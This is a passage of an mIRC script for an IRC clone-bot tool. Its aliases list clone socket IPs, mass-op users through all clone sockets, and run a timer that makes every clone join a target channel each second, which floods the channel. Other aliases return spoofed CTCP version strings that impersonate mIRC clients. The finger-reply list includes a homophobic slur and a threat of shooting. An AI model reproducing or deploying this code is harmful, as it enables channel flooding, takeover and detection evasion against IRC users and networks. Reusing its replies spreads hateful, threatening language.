Pixels n563= edit "", 1, 8 8 236 317, read multi hsbar vsbar n564= button &Refresh List, 2, 8 332 235 20 n565=} n566= n567=Alias Clone.IPs { n568= If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs } n569= Did -r Clone.IPs 1 n570= Var %I = 1 n571= While ($Sock(Clone.*,%I)) { n572= If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) { n573= Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port n574= } n575= Inc %I n576= } n577=} n578=alias clone.op { n579= var %x = 1 n580= while ($did(Clone,38,%x) != $null) { n581= sockwrite -nt * mode $active +oooooo $did(Clone,38,%x) $did(Clone,38,$calc(%x + 1)) $did(Clone,38,$calc(%x + 2)) $did(Clone,38,$calc(%x + 3)) $did(Clone,38,$calc(%x + 4)) $did(Clone,38,$calc(%x + 5)) $did(Clone,38,$calc(%x + 6)) $did(Clone,38,$calc(%x + 7)) $did(Clone,38,$calc(%x + 8)) $did(Clone,38,$calc(%x + 9)) $did(Clone,38,$calc(%x + 10)) n582= inc %x 6 n583= } n584=} n585=Alias f { n586= /set %fuck.chan $1 n587= /timerflood1 0 1 /sockwrite -nt * join %fuck.chan n588= /echo %scrinfo $timestamp ø 8,1Auto-Loading Bots to: %fuck.chan n589=} n590=Alias fo { n591= /timerflood* off n592= / %scrinfo $timestamp ø 8,1Stopped Auto-Loadin & n593= /unset %fuck.* n594=} n595=Alias VReply { n596= If ($1 == 1) { Return mIRC v7.01 Khaled Mardam-Bay } n597= If ($1 == 2) { Return mIRC v6.35 Khaled Mardam-Bay } n598= If ($1 == 3) { Return mIRC vRxBot f0rte } n599= If ($1 == 4) { Return ^=o.o=^ I'm a kitty, rawr! } n600= If ($1 == 5) { Return mIRC (>^.^)> KIRBY SAYS. STFU } n601= If ($1 == 7) { Return mIRC v6.21 Khaled Mardam-Bey } n602= If ($1 == 8) { Return mIRC v6.31 Khaled Mardam-Bey } n603= If ($1 == 9) { Return mIRC v6.12 Khaled Mardam-Bey } n604= If ($1 == 10) { Return mIRC v6.16 Khaled Mardam-Bey } n605=} n606=Alias FReply { n607= If ($1 == 1) { Return Don't Finger Me Pervert! } n608= If ($1 == 2) { Return Lay Off My Koolaid! } n609= If ($1 == 3) { Return Sniff your Finger, I dare yee. } n610= If ($1 == 4) { Return I request another finger. ;) } n611= If ($1 == 5) { Return You look prettier when I'm drunk. ;) } n612= If ($1 == 6) { Return WHOA. YOU'RE INVADING MII PERSONAL SPACE, YOU TWO-BIT QUEER. WHERE I'M FROM, PEPOLE GET SHOT FOR THAT. } n613= If ($1 == 7) { Return mmm. now swirl your finger. pl0x. } n614= If ($1 == 8) { Return Sir. I don't believe you to be a doctor!@@#$#%^&& } n615= If ($1 == 9) { Return Is it my turn? ;] } n616= If ($1 == 10) { Return DaCreW. }